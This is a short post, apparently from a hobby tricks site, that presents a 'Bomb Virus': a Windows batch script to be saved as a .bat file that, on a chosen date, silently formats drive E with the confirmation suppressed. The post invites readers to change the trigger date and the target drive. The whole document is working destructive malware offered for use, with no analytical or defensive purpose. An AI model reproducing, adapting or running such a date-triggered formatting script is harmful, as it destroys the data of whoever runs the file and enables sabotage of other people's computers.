Bomb Virus

Copy Paste The Following to notepad

If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit

And Save It As Anything.bat

Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action
The Virus Will Take Effect On That Day